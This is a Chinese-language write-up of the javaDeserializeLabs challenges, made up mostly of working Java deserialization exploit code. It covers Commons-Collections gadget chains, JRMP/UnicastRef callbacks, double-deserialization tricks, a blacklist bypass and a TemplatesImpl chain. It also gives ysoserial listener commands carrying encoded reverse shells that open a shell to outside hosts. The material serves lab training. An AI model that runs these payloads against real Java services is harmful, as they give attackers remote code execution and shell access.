0x00 前置准备
项目地址:https://github.com/waderwu/javaDeserializeLabs
个人建议题目环境可以在本地和Docker上都搭建一个,本地方便调试,Docker更符合实战。
另外,每一题都会给jar包。在IDEA里,将jar解压并添加入库,就可以开始运行服务。
0x01 Lab1
IndexController:

没有一点防护,利用题目给的Calc类直接打:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
import static com.yxxx.javasec.deserialize.Utils.bytesTohexString;
public class Main { public static void main(String[] args) throws Exception { Calc calc = new Calc();
Class<? extends Calc> calcClass = calc.getClass(); Field canPopCalcField = calcClass.getDeclaredField("canPopCalc"); canPopCalcField.setAccessible(true); canPopCalcField.set(calc, true); Field cmdField = calcClass.getDeclaredField("cmd"); cmdField.setAccessible(true); cmdField.set(calc, "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(calc); byte[] poc = byteArrayOutputStream.toByteArray(); String string = bytesTohexString(poc); System.out.println(string); } }
|
补充,关于Runtime.exec()方法的参数问题:

利用国光师傅的Bash-2编码即可:(去掉多余的空格,只能存在两个必要的空格)

0x02 Lab2
本题没有Calc类了,但是有CC链:

POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.HashMap; import java.util.Map;
import static com.yxxx.javasec.deserialize.Utils.objectToHexString;
public class CC6 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map decoratedMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratedMap, "111"); HashMap<Object, Object> map1 = new HashMap<>(); map1.put(tiedMapEntry, "222"); decoratedMap.remove("111");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(map1); objectOutputStream.close(); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); byteArrayOutputStream.close(); } }
|
0x03 Lab3
观察题目文件和jar包:


自定义了MyObjectInputStream类来替代ObjectInputStream类,并且重载了resolveClass方法(resolveClass方法通常用于根据类名动态加载相应的类):

将重写的reslolveClass方法与原生的reslolveClass方法对比,不难发现原先用forName方法加载类变成了用loadClass方法加载类。且URLClassLoader.findClass无法加载数组类,
显然数组是不能使用的,又受限于commons-collections依赖版本的影响,导致几乎所有CC链都无法使用。
往Shiro的方向思考一下,shiro反序列化中没有用到数组类,但题目没给CB依赖。
本次使用这一种方法:出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。也就是说,我们先起一个JRMP服务端,再通过反序列化的方式让靶机访问该服务端,该服务端传入恶意链子进而RCE。
第一步:产生访问JRMP客户端的反序列化链子,POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.yxxx.javasec.deserialize;
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
import static com.yxxx.javasec.deserialize.Utils.bytesTohexString; import static org.apache.commons.collections.MapUtils.getObject;
public class POC_JRMP { public static void main(String[] args) throws Exception{ Registry registry = (Registry) getObject("120.26.138.45",1099); byte[] serializable = serializable(registry); String string = bytesTohexString(serializable); System.out.println(string); }
public static Object getObject(String host,int port){ ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(POC_JRMP.class.getClassLoader(), new Class[] {Registry.class}, obj); return proxy; } public static String bytesTohexString(byte[] bytes) { if (bytes == null) return null; StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i < bytes.length; i++) { int b = 0xF & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 0xF & bytes[i]; ret.append("0123456789abcdef".charAt(b)); } return ret.toString(); } public static byte[] serializable(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(object); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); } }
|
第二步:搭建恶意的JRMP服务端:

具体命令如下:(适用于Windows)
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "powershell -c \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('RTovYWxsX3Rvb2wvRVhFL2NtZC9uZXRjYXQtd2luMzItMS4xMi9uYzY0LmV4ZSAtZSBjbWQgMTIwLjI2LjEzOC40NSA1MjE='))|IEX\""
|
类似的适用于Linux的就比较常见了:(适用于Linux)
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwOTkgMD4mMQ==}|{base64, -d}|{bash, -i}"
|
第三步:监听将要接受shell的端口:

第四步:发送POC_JRMP里输出的序列化数据:

最后,成功反弹shell:

0x04 Lab4
本题不能出网:

既然远程的路堵死了,那就只能往本地思考。URLClassLoader不能加载数组,所以想到二次反序列化。
首先想到SignedObject类,但是该类的属性是字节数组类型,且readObject()方法会对这些属性进行赋值。

二次反序列化还有一个类:RMIConnector。该类的调用过程就不细说了,之后会写一篇专门分析二次反序列化的文章。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| import Utils.Utils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.reflect.ReflectionFactory;
import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.security.SignedObject; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class POC { public static void main(String[] args) throws Exception{ byte[] bytes = gadgetByChains(); String based64 = Base64.getEncoder().encodeToString(bytes); byte[] bytes1 = gadgetRMI(based64); String s = bytesTohexString(bytes1); System.out.println(s); }
public static byte[] gadgetByChains() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Class.class)}); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyedMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyedMap, "manbaout1"); HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "manbaout2"); lazyedMap.remove("manbaout1"); setFieldValue(chainedTransformer, "iTransformers", transformers); return serialize1(map); }
public static byte[] gadgetRMI(String base64) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/" + base64); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); InvokerTransformer connect = new InvokerTransformer("connect", null, null); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector); HashMap<Object, Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry, "2"); lazyMap.remove(rmiConnector); setFieldValue(lazyMap, "factory", connect); byte[] serialize = serialize2(hashMap1); return serialize; }
public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); } public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static <T> byte[] serialize1(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> byte[] serialize2(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize1(byte[] codes) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return (T) objectInputStream.readObject(); }
public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); }
return ret.toString(); } } }
|
0x05 Lab5
没有难度,因为给了一个福利类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
package com.yxxx.javasec.deserialize;
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.io.Serializable;
public class MarshalledObject implements Serializable { private byte[] bytes = null;
public MarshalledObject() { }
public Object readResolve() throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object obj = objectInputStream.readObject(); objectInputStream.close(); return obj; } }
|
估计是让我们有个二次反序列化的概念吧。POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| package yxxx.javasec.deserialize;
import com.yxxx.javasec.deserialize.MarshalledObject; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class POC { public static void main(String[] args) throws Exception{ byte[] codes = gadgetByChains(); MarshalledObject marshalledObject = new MarshalledObject(); setFieldValue(marshalledObject, "bytes", codes); byte[] poc = serialize2(marshalledObject); System.out.println( bytesTohexString(poc) ); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static <T> byte[] serialize1(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] codes) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return (T) objectInputStream.readObject(); }
public static byte[] gadgetByChains() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Class.class)}); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyedMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyedMap, "manbaout1"); HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "manbaout2"); lazyedMap.remove("manbaout1"); setFieldValue(chainedTransformer, "iTransformers", transformers); return serialize1(map); }
public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); }
return ret.toString(); } }
public static <T> byte[] serialize2(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF("SJTU"); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(o); return byteArrayOutputStream.toByteArray(); } }
|
但是如果只理解到这个程度,下一题就不太好做。
0x06 Lab6
相比于Lab5,少了一个题目给的MarshalledObject类,同时黑名单如下:

不难发现,其实java同样存在一个MarshalledObject类,其get方法同样可以进行反序列化:

似乎可以被setAttribute方法调用:

便尝试寻找可以调用setter的方法。这么一找,就是好久。这里没法用Jackson、FastJson,也没有cb依赖,黑名单还限制了cc链(反射都用不了)。
怎么办呢,这里我确实没办法了。上网看看题解,发现了一个有意思的方法。
黑名单不让用java.rmi.registry
,并不代表不能触发RMI。我们可以使用较为底层的JRMP协议来触发RMI,反正就是不要用到上述包的类。
给出一个POC,可以在反序列化的时候直接触发JRMP服务:
1 2 3 4 5 6
| public static UnicastRef payload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 1089); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; }
|
当调用到UnicastRef的readObject方法,最后会触发DGCClient.EndpointEntry的lookup方法:

最终调用到DGCImpl_Stub的dirty方法:
该方法是可以触发jrmp攻击的。对应的,服务端的dispatch方法也可以触发攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import org.apache.commons.collections.functors.InvokerTransformer; import sun.rmi.server.UnicastRef;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.rmi.server.ObjID; import java.util.Random; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
public class Main1 { public static void main(String[] args) throws Exception{ UnicastRef unicastRef = payload(); byte[] serialize = serialize(unicastRef);
deserialize(serialize);
}
public static UnicastRef payload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; }
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] ser) throws Exception { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser)); return (T) in.readObject(); }
public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); }
return ret.toString(); } } }
|
0x07 Lab7
黑名单添加了UnicastRef和RemoteObjectInvocationHandler:

那我得先知道UnicastRef和RemoteObjectInvocationHandler的关系。参考这两篇文章:
- https://xz.aliyun.com/news/7527
- weblogic反序列化漏洞 cve-2018-3245_xiaohuihui1的技术博客_51CTO博客
有人可能会疑惑,UnicastRef不是被黑名单限制了吗?
事实上,如果UnciastRef是在题目给的MyObjectInputStream中先加载desc,再对desc进行黑名单判断,那么确实是没有办法的。
但是UnicastRef的设计思路并非如此。UncaistRef写了个readExternal方法,找一下调用点,发现java.rmi.server.RemoteObject的readObject方法:

简单来说,只要不让UnicastRef在题目重构的反序列化流程上走,就会避开黑名单。在继承了java.rmi.server.RemoteObject的一个类被反序列化时,走的是题目给的逻辑,并调用到java.rmi.server.RemoteObject的readObject方法(上图)。此时java.rmi.server.RemoteObject的readObject方法会把UnicastRef给反序列化,而不是等到原生反序列化流程在对属性进行操作的时候再对UncastRef进行反序列化。
这么一来,就相当于绕过了黑名单检测。所以有时候,黑名单禁止的类不是不让用,或许是有绕过方法的。这些类都可以试试:

一个参考POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| import sun.rmi.server.UnicastRef; import sun.rmi.transport.DGCImpl_Skel; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.BadAttributeValueExpException; import javax.management.remote.rmi.RMIConnectionImpl; import javax.management.remote.rmi.RMIConnectionImpl_Stub; import javax.management.remote.rmi.RMIServerImpl_Stub; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.rmi.server.ObjID; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
public class Main { public static void main(String[] args) throws Throwable { UnicastRef payload = payload(); RMIConnectionImpl_Stub rmiConnectionImplStub = new RMIConnectionImpl_Stub(payload); byte[] serialize = serialize(rmiConnectionImplStub); System.out.println(bytesTohexString(serialize));
}
public static UnicastRef payload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; }
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeUTF("SJTU"); out.writeInt(1896); out.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] ser) throws Exception { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser)); return (T) in.readObject(); }
public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); }
return ret.toString(); } } }
|
0x08 Lab8
出题者弄错了jar包
0x09 Lab9
CC依赖没了,给了个MyInvocationHandler。打反射吗,有点意思。说到反射,我首先想到Hessian里的sun.reflect.misc.MethodUtil,但是这个类没实现Serializable接口。
可以如Lab7使用UincastRef,JRMP使用这条链子:

POC直接照搬Lab7就可以了。
但是仅仅这样我并不满意,因为题目的考点显然不是这个,肯定要结合MyInvocationHandler类。
使用MyInvocationHandler类,且没有可以利用的依赖,那么就是在考原生链。
MyInvocationHandler可以调用一个类的无参方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
package com.yxxx.javasec.deserialize;
import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;
public class MyInvocationHandler implements InvocationHandler, Serializable { private Class type;
public MyInvocationHandler() { }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Method[] methods = this.type.getDeclaredMethods(); Method[] var5 = methods; int var6 = methods.length;
for(int var7 = 0; var7 < var6; ++var7) { Method xmethod = var5[var7]; xmethod.invoke(args[0]); }
return null; } }
|
选择TemplatesImpl.newTransformer()方法即可。
如何触发MyInvocationHandler.invoke呢?cc链学过,如果PriorityQueue的comparator属性是一个动态代理,那么在进行compare方法时就会触发动态代理对应的invocationHandler中的invoke()方法。稍微构造一下:

再构造一下PriorityQueue类:

稍微分析一下。反序列化会进入如下流程:

这里决定了size = 2,由于writeObject方法要求size与queue同步,所以queue装填两个templatesImpl。
这里比较前后两个值,触发动态代理:

有人可能在invoke方法里的methods数组里有好多方法,那是因为你写的是TemplatesImpl.class而不是Templates.class:

看看invoke方法的各项数据:

args数组是比较的两个值,提取args[0]作为反射对象。
剩下的就没啥好说的了,都做到Lab9了,且允许笔者讲的粗略一点。
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.yxxx.javasec.deserialize.MyInvocationHandler; import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import sun.swing.SwingLazyValue; import java.lang.reflect.Proxy; import javax.activation.MimeTypeParameterList; import javax.management.BadAttributeValueExpException; import javax.swing.*; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.rmi.server.ObjID; import java.security.SignedObject; import java.util.Comparator; import java.util.Locale; import java.util.PriorityQueue; import java.util.Random;
public class Main { public static void main(String[] args) throws Throwable { TemplatesImpl templatesImpl = getTemplatesImpl();
MyInvocationHandler myInvocationHandler = new MyInvocationHandler(); setFieldValue(myInvocationHandler, "type", Templates.class); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
PriorityQueue priorityQueue = new PriorityQueue<>(comparator); setFieldValue(priorityQueue, "size", 2); setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl,templatesImpl});
byte[] serialize = serialize(priorityQueue); System.out.println(bytesTohexString(serialize));
}
public static TemplatesImpl getTemplatesImpl() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class")); setFieldValue(templates, "_name", "Pax"); setFieldValue(templates, "_bytecodes", new byte[][]{code}); return templates; } public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] ser) throws Exception { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser)); return (T) in.readObject(); }
public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); }
return ret.toString(); } } public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); }
}
|
0x10 javassist
创建类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("evil"); String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}"; ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("System.out.println(\"静态代码块内\");"); constructor.insertBefore(code);
CtField ctField = new CtField(CtClass.intType,"number",ctClass); ctField.setModifiers(Modifier.PUBLIC); ctClass.addField(ctField);
CtField ctField1 = new CtField(classPool.get(String.class.getName()),"str",ctClass); ctField1.setModifiers(Modifier.PRIVATE); ctClass.addField(ctField1);
CtField ctField2 = CtField.make("public int qwq;",ctClass); ctClass.addField(ctField2);
CtConstructor constructor1 = new CtConstructor(new CtClass[]{classPool.get(String.class.getName()),classPool.get(int.class.getName())},ctClass); constructor1.setBody("{this.str = $1;\nthis.number = $2;\nSystem.out.println(\"构造函数内\");}"); ctClass.addConstructor(constructor1);
CtMethod ctMethod = CtMethod.make("public int test(){return this.number;}",ctClass); ctMethod.setModifiers(Modifier.PRIVATE); ctClass.addMethod(ctMethod);
ctClass.writeFile();
|
修改类:
1 2 3 4 5 6 7 8 9 10 11
| ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("org.example.MyInvocationHandlerTest"); String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}"; ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer(); constructor.insertBefore(code);
ctClass.writeFile("MyInvocationHandlerTestOutPut");
|
具体用法后面用到再说,这个工具还是很方便的。